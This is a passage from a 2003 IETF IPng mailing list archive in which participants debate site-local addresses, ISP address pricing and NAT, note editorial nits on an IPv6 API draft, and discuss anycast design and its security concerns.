	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 13:49:00 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0OLn9gE025272
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 13:49:09 -0800 (PST)
Received: from roll.mentat.com (mentat.com [192.88.122.129])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA14615
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 14:49:04 -0700 (MST)
Received: from leo.mentat.com (leo [192.88.122.132])
	by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id NAA17540
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 13:50:03 -0800 (PST)
Received: from feller.mentat.com (feller [192.88.122.144])
	by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id NAA15540
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 13:50:04 -0800 (PST)
Received: (from tim@localhost)
	by feller.mentat.com (8.9.3+Sun/8.9.3) id NAA22171
	for ipng@sunroof.eng.sun.com; Fri, 24 Jan 2003 13:53:45 -0800 (PST)
Date: Fri, 24 Jan 2003 13:53:45 -0800 (PST)
From: Tim Hartrick <tim@mentat.com>
Message-Id: <200301242153.NAA22171@feller.mentat.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Proposal for site-local clean-up
X-Sun-Charset: US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk




Brian, Dan,

> |
> |Because one of their competitors decides to do so, forcing them to do
> |so as well.  Absent scarcity, charging for something that has zero cost
> |simply isn't sustainable in a competitive market.
> 
> That's what they said about the phone companies, yet I still pay lots of monthly
> fees for certain bit settings in the switch.  I even pay for DTMF service even
> though it costs less for the phone company to support than dial service.
> 

Brian's argument would be correct if the act of moving from one ISP to
another ISP was free of cost to the end user.  But renumbering is anything
but free, absent a way to maintain internal communication across a renumbering
event and something like RFC 2894.  ISPs know that renumbering isn't free
and they will set the price of addresses accordingly.  Absent cost-free
renumbering, a one time charge for a NAT device will always look cheaper
than the ongoing cost for maintaining existing and acquiring new global
address space.  Whether it is in fact cheaper is very questionable given
the headaches that NATs cause for administrators and users.

I would like to believe that once ISPs aren't faced with real address
scarcity they won't behave the way Dan and I believe they will, but there
are enough examples of ISPs that don't face IPv4 address shortage but still
charge for address space anyway, that betting the IPv6 architecture on this
belief doesn't seem prudent.

If we don't want people to use NAT and all we have are PA addresses then we
have to make renumbering free.  There isn't even the beginning of a strategy
for how to accomplish this without stable local addresses.




Tim Hartrick
Mentat Inc.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 15:26:17 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0ONQG16011814;
	Fri, 24 Jan 2003 15:26:16 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0ONQGGJ011813;
	Fri, 24 Jan 2003 15:26:16 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0ONQD16011803
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 15:26:13 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0ONQCgE026444
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 15:26:12 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA04901
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 16:26:06 -0700 (MST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id SAA00565
	for ipng@sunroof.eng.sun.com; Fri, 24 Jan 2003 18:26:04 -0500 (EST)
Date: Fri, 24 Jan 2003 18:26:04 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301242326.SAA00565@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Proposal for site-local clean-up
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Tim Hartrick <tim@mentat.com> wrote:

|Brian, Dan,
|
|> |
|> |Because one of their competitors decides to do so, forcing them to do
|> |so as well.  Absent scarcity, charging for something that has zero cost
|> |simply isn't sustainable in a competitive market.
|> 
|> That's what they said about the phone companies, yet I still pay lots of monthly
|> fees for certain bit settings in the switch.  I even pay for DTMF service even
|> though it costs less for the phone company to support than dial service.
|> 
|
|Brian's argument would be correct if the act of moving from one ISP to
|another ISP was free of cost to the end user.

It isn't clear that even this is sufficient to make the argument correct.
First, to state the obvious, the end user would need access to more than
one ISP that could accommodate her requirements.  Many home and small-business
users are lucky to have one "high speed" provider available in their service
area.  Less obvious, even if there are alternative providers, they would need
to be truly independent.  The hierarchical service model makes it not unlikely
that two supposedly competitive providers share an upstream provider and are
constrained by contracts with that one higher-level ISP.  I haven't looked at
this in detail in a long time, but it used to be common practice to enforce
fairly anti-competitive-sounding terms with peering agreements and similar
address/routing resale contracts.

Even in the case of two large and relatively independent providers (say, a
cable company and a telco-operated DSL service to take a typical situation)
it isn't clear that the oligopoly would indeed be competition-driven.  Each
provider would know that it remained in its own interest to preserve the
revenue stream from address rental charges and there would be very little
incentive to "compete."  This seems to be more-or-less what happens when
you have an ILEC and one big CLEC.

In order for Brian's argument to be correct in practice, then, I think we
need (in addition to painless renumbering) a reasonable number (say, > 5)
or truly independent ISPs competing for the business of the end user in
question.  I just don't see this happening for the majority of users any
time soon.

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 15:46:18 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0ONkI16012138;
	Fri, 24 Jan 2003 15:46:18 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0ONkI4p012137;
	Fri, 24 Jan 2003 15:46:18 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0ONkE16012130
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 15:46:14 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0ONkDgE004072
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 15:46:13 -0800 (PST)
Received: from roll.mentat.com (mentat.com [192.88.122.129])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA22097
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 16:46:08 -0700 (MST)
Received: from leo.mentat.com (leo [192.88.122.132])
	by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id PAA18209;
	Fri, 24 Jan 2003 15:47:09 -0800 (PST)
Received: from feller.mentat.com (feller [192.88.122.144])
	by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id PAA19896;
	Fri, 24 Jan 2003 15:47:07 -0800 (PST)
Received: (from tim@localhost)
	by feller.mentat.com (8.9.3+Sun/8.9.3) id PAA22242;
	Fri, 24 Jan 2003 15:50:49 -0800 (PST)
Date: Fri, 24 Jan 2003 15:50:49 -0800 (PST)
From: Tim Hartrick <tim@mentat.com>
Message-Id: <200301242350.PAA22242@feller.mentat.com>
To: ipng@sunroof.eng.sun.com, ipng-incoming@danlan.com
Subject: Re: Proposal for site-local clean-up
X-Sun-Charset: US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk





Dan,

> 
> In order for Brian's argument to be correct in practice, then, I think we
> need (in addition to painless renumbering) a reasonable number (say, > 5)
> or truly independent ISPs competing for the business of the end user in
> question.  I just don't see this happening for the majority of users any
> time soon.
> 

I don't disagree with your analysis, but I think that you would agree that
there is nothing that we can put in the protocols that is going to break-up
a telco oligopoly.  The best we can do is design tools that, when applied
to a competitive environment, will yield the desired results.  The desired
results in this case would be an end to the proliferation of NATs.  Ensuring
the competitive environment is definately out of scope for the IETF.  That
doesn't mean we have to completely ignore market realities when designing
the tools.



Tim Hartrick
Mentat Inc.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 16:37:20 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0P0bK16013002;
	Fri, 24 Jan 2003 16:37:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0P0bJ9Y013001;
	Fri, 24 Jan 2003 16:37:19 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0P0bG16012994
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 16:37:16 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0P0bGgE019963
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 16:37:16 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA22712
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 17:37:10 -0700 (MST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id TAA00991;
	Fri, 24 Jan 2003 19:37:06 -0500 (EST)
Date: Fri, 24 Jan 2003 19:37:06 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301250037.TAA00991@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Proposal for site-local clean-up
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Tim Hartrick <tim@mentat.com> wrote:

|> 
|> In order for Brian's argument to be correct in practice, then, I think we
|> need (in addition to painless renumbering) a reasonable number (say, > 5)
|> or truly independent ISPs competing for the business of the end user in
|> question.  I just don't see this happening for the majority of users any
|> time soon.
|> 
|
|I don't disagree with your analysis, but I think that you would agree that
|there is nothing that we can put in the protocols that is going to break-up
|a telco oligopoly.

Actually, I'm not sure I do agree.  I can imagine address allocation and
routing protocols which would vest far less power in the existing oligopoly,
thus promoting true competition.

|The best we can do is design tools that, when applied
|to a competitive environment, will yield the desired results.

Designing tools that yield the desired results only when applied to a
competitive environment (assuming there is no valid technical reason
for the limitation) is at best bad engineering.  Doing so when there
is good evidence that the competitive environment will not exist begins
to look disingenuous.

|The desired
|results in this case would be an end to the proliferation of NATs.

Provided we maintain the functionality.  Buggering applications to make
NAT impossible in order to force users to pay ISPs for more global addresses
is not an acceptable approach.

|Ensuring
|the competitive environment is definately out of scope for the IETF.  That
|doesn't mean we have to completely ignore market realities when designing
|the tools.

It is a difficult line to tread.  However, as long as anyone is suggesting
that we must avoid doing things which would work around the ISPs' "desires"
I think it is also valid to talk about the end users' requirements...

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 20:45:45 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0P4jj16013840;
	Fri, 24 Jan 2003 20:45:45 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0P4jjK1013839;
	Fri, 24 Jan 2003 20:45:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0P4jf16013832
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 20:45:41 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0P4jegE012587
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 20:45:40 -0800 (PST)
Received: from roll.mentat.com (mentat.com [192.88.122.129])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA01584
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 20:45:36 -0800 (PST)
Received: from leo.mentat.com (leo [192.88.122.132])
	by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id UAA19508;
	Fri, 24 Jan 2003 20:46:37 -0800 (PST)
Received: from garcia.mentat.com (garcia [192.88.122.235])
	by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id UAA06027;
	Fri, 24 Jan 2003 20:46:04 -0800 (PST)
Received: (from tim@localhost)
	by garcia.mentat.com (8.9.3+Sun/8.9.3) id UAA00554;
	Fri, 24 Jan 2003 20:47:10 -0800 (PST)
Date: Fri, 24 Jan 2003 20:47:10 -0800 (PST)
From: Tim Hartrick <tim@mentat.com>
Message-Id: <200301250447.UAA00554@garcia.mentat.com>
To: ipng@sunroof.eng.sun.com, ipng-incoming@danlan.com
Subject: Re: Proposal for site-local clean-up
X-Sun-Charset: US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk




Dan,

> 
> Actually, I'm not sure I do agree.  I can imagine address allocation and
> routing protocols which would vest far less power in the existing oligopoly,
> thus promoting true competition.
> 
> |The best we can do is design tools that, when applied
> |to a competitive environment, will yield the desired results.
> 
> Designing tools that yield the desired results only when applied to a
> competitive environment (assuming there is no valid technical reason
> for the limitation) is at best bad engineering.  Doing so when there
> is good evidence that the competitive environment will not exist begins
> to look disingenuous.
>

Sure, if one doesn't accept that routing aggregation is important then
of course we can go back to PI space just like good old IPv4.  If in fact
aggregation isn't important then it would be disingenuous to continue down
a design path that puts ISPs in the driver's seat to the detriment of end
users.  I don't follow the research in this area well enough to know whether
or not there are serious alternatives to routing aggregation techniques like
CIDR.  If there are then I would be very happy to forget all about site-local
addresses and PA address space.  Life would be a lot simpler.
 
> |The desired
> |results in this case would be an end to the proliferation of NATs.
> 
> Provided we maintain the functionality.  Buggering applications to make
> NAT impossible in order to force users to pay ISPs for more global addresses
> is not an acceptable approach.
>

Sure.

> |Ensuring
> |the competitive environment is definately out of scope for the IETF.  That
> |doesn't mean we have to completely ignore market realities when designing
> |the tools.
> 
> It is a difficult line to tread.  However, as long as anyone is suggesting
> that we must avoid doing things which would work around the ISPs' "desires"
> I think it is also valid to talk about the end users' requirements...
> 

Agreed.


Tim Hartrick
Mentat Inc.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 21:21:30 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0P5LT16014139;
	Fri, 24 Jan 2003 21:21:29 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0P5LTIn014138;
	Fri, 24 Jan 2003 21:21:29 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0P5LQ16014131
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 21:21:26 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0P5LQgE017230
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 21:21:26 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA13917
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 21:21:20 -0800 (PST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id AAA01750;
	Sat, 25 Jan 2003 00:21:16 -0500 (EST)
Date: Sat, 25 Jan 2003 00:21:16 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301250521.AAA01750@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Proposal for site-local clean-up
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Tim Hartrick <tim@mentat.com> wrote:

|> Designing tools that yield the desired results only when applied to a
|> competitive environment (assuming there is no valid technical reason
|> for the limitation) is at best bad engineering.  Doing so when there
|> is good evidence that the competitive environment will not exist begins
|> to look disingenuous.
|>
|
|Sure, if one doesn't accept that routing aggregation is important then
|of course we can go back to PI space just like good old IPv4.  If in fact
|aggregation isn't important then it would be disingenuous to continue down
|a design path that puts ISPs in the driver's seat to the detriment of end
|users.  I don't follow the research in this area well enough to know whether
|or not there are serious alternatives to routing aggregation techniques like
|CIDR.  If there are then I would be very happy to forget all about site-local
|addresses and PA address space.  Life would be a lot simpler.

I was actually referring to the design decision to limit site locals on the
grounds that they are not needed in a competitive environment that will
supposedly result in greater global address availability.  Portable identifiers
and provider-independent address space (which are both PI :) are a different
kettle of fish.  There are certainly ways to attack the problem, but I've
found that attempts to discuss them result in even more negative response
than was elicited in the recent site-local debate...

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 23:53:51 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0P7rp16015196;
	Fri, 24 Jan 2003 23:53:51 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0P7rocr015195;
	Fri, 24 Jan 2003 23:53:50 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0P7rl16015188
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 23:53:47 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0P7ru4w005972
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 23:53:56 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA15965
	for <ipng@sunroof.eng.sun.com>; Sat, 25 Jan 2003 00:53:49 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0P7p9b23333;
	Sat, 25 Jan 2003 09:51:09 +0200
Date: Sat, 25 Jan 2003 09:51:09 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Jack McCann <mccann@zk3.dec.com>
cc: ipng@sunroof.eng.sun.com, <itojun@iijlab.net>, <Jack.McCann@hp.com>,
   <Jim.Bound@hp.com>, <gilligan@cacheflow.com>, <narten@us.ibm.com>,
   <sethomso@cisco.com>
Subject: Re:  draft-ietf-ipngwg-rfc2553bis-10.txt
In-Reply-To: <200301142222.h0EMMZx0001447597@anw.zk3.dec.com>
Message-ID: <Pine.LNX.4.44.0301250943530.23151-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Tue, 14 Jan 2003, Jack McCann wrote:
> > minor nit:
> > NI_NUMERICSCOPE appears in the text (page 24) but not in section 7.
> 
> Thanks for catching that.  The reference to NI_NUMERICSCOPE
> on page 24 should be removed, it was part of the stuff
> that moved to draft-ietf-ipv6-scope-api-00.txt.
> 
> It may be too late to fix this...

Another minor nit: the Introduction says:

  IPv6 also introduces new features (e.g., traffic class
  and flowlabel), some of which must be made visible to applications via
  the API.

.. but tclass/flowlabel specification was mostly moved off.  I wonder if 
some rewording would be in order?

I believe these kind of editorial nits can be fixed when RFC editor is
done and while at AUTH48 state.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sat Jan 25 13:07:51 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0PL7p16017535;
	Sat, 25 Jan 2003 13:07:51 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0PL7pxv017534;
	Sat, 25 Jan 2003 13:07:51 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0PL7m16017527
	for <ipng@sunroof.eng.sun.com>; Sat, 25 Jan 2003 13:07:48 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0PL7t4w029683
	for <ipng@sunroof.eng.sun.com>; Sat, 25 Jan 2003 13:07:56 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA05498
	for <ipng@sunroof.eng.sun.com>; Sat, 25 Jan 2003 14:07:49 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0PL7mo27085
	for <ipng@sunroof.eng.sun.com>; Sat, 25 Jan 2003 23:07:48 +0200
Date: Sat, 25 Jan 2003 23:07:48 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: ipng@sunroof.eng.sun.com
Subject: a few comments on anycast mechanisms
Message-ID: <Pine.LNX.4.44.0301252201540.26800-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hello,

I happened to read through a few older anycast-related drafts; a few
comments, to try to spark some discussion on how to go forward with
anycast.  Last, I bring up one idea how to possibly make TCP+anycast work,
in relatively simple terms.

1) draft-haberman-ipngwg-host-anycast-01.txt (Host-based Anycast using 
MLD) -- May 2002.

==> basically the MLD protocol is used to signal anycast joins/leaves.
However, critical part which seems to be missing here is "interactions of 
anycast-MLD with routing", as with multicast.

There are a _lot_ of issues there, especially if one anycast address can
have joins from across multiple routers.  Even more so if from across
multiple sites/AS's, or more specifically (with some terminology pixie
dust)  an IGP/iBGP area -- a region where propagating host routes is
acceptable.  But I'd recommend sticking to a site, the rest is way too
difficult for now.

Thus by far the easiest way to enable anycast on hosts seems to be a
requirement for them to participate in a routing protocol.  Something like
BGP is good for this (not ideal: too much weight).  Simpler protocols can
of course also be used; the most important thing is to pick one which
allows your neighbor(s) to filter out any advertisements excluding the
anycast addresses(es) -- so that you can't hose the routing to other than
the anycast address(es) itself even in the worst case scenario.

A few points on security:

5. Security

   Unlike multicast, allowing nodes to join arbitrary anycast groups
   can result in denial-of-service attacks.  Whereas joining a
   multicast group does not prevent other nodes from seeing the same
   traffic, joining an anycast group can cause traffic previously seen
   by another node to be redirected to the newly joining node instead.

==> of course, this is more than just DoS.  This is packet capture and a 
man-in-the-middle attack too.

   To prevent such attacks, it is expected that routers will employ
   some filtering mechanism when receiving a Report message containing
   a non-multicast address.  For example, one policy might be to deny
   all anycast joins except those that match a configured list of
   (source address, anycast address) pairs.

==> the problems with such a measure seems to be that:
 1) MLD message does not signify other than link-local addresses AFAIR
 2) some addresses are easily spoofed.

Of course, to be complete, some "reverse-path verification" for addresses, 
if routable unicast, would have to be done.







2) draft-haberman-ipv6-anycast-rr-00.txt (IPv6 Anycast Binding using 
Return Routability) -- Oct 2002.

==> Mobile IPv6 has progressed a bit and the draft needs a house-keeping 
update but the concept is clear.

However, I'm just not so sure that this is the right, even if seemingly 
sufficient, approach.  The main concerns from the top of the head seem to 
be:

 - the extent of MIPv6 support required to support this (I assume e.g. 
binding cache is needed)

 - the high number of packets exchanged before commencing with real TCP 
traffic

 - the changes to TCP to run this operation at the reception of a specific
TCP SYN (perhaps this happens with MIPv6, but my impression has been that
in most cases, return routability is executed based on MN's own desire to
do send packets, not respond to some of them)

 - the different model of address ownership model; this seem the most
important.  MIPv6 RR is used to prove that the MN has the right to use
certain care-of/home address.  These are network-topology -independent, in
a sense; a part of an autoconfigured/statefully-configured prefix, freely
configurable by anyone on the link(s).  

Anycast is different: there the right target to ask for permission to
certify this binding would appear to be the routing system, or someone in
charge of specifying the <anycast, unicast> -pair.

It appears that here the link between the routing system is not all that
strong (e.g. some MLD-like mechanism or injected static host route), but 
could perhaps be acceptable (note: these kind of assumptions should go in 
the draft :-).






3) that's it.  

My own, very raw idea for anycast + TCP: a new ICMP message, including the
seq number (or equivalent protocol-specific information)  of the
just-received TCP SYN, indicating the unicast address which should be used
instead of the included anycast address.

Of course, this brings up the problem of easily-guessable TCP seq numbers.  
This could be mostly remedied by requiring (I wonder if this kind of
requirement would be sane..) that TCP implementations check their SYN_SENT
state tables that the packet has actually been sent to the the destination
very recently -- thus the window where a timing attack could be done would
be almost eliminated.

As an option, if the initiator would not believe this binding, some
stronger mechanisms could be applied (source address comparison, which is
not really valid except if we apply some new requiremens for anycast usage
-- like that to be used like this, the addresses must all be from the same
/64, /48, /32 or whatever *); RR tests; etc.).

Of course, all of this would appear to be moot if something like IPsec was
used between the end-points.

So basically, this looks like a MIPv6 binding update but including the
no-so-strong TCP seq number and sender TCP state and other data as a quite
probable sign of validity.

I'd like to know whether anyone has tried to tread down this path and come
up with some unsurmountable obstancles...?

*) or even prefix length configured with some bits set in the anycast
address, a bit similar to draft-savola-mboned-mcast-rpaddr-00.txt.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sun Jan 26 04:33:53 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0QCXr16019282;
	Sun, 26 Jan 2003 04:33:53 -0800 (PST)
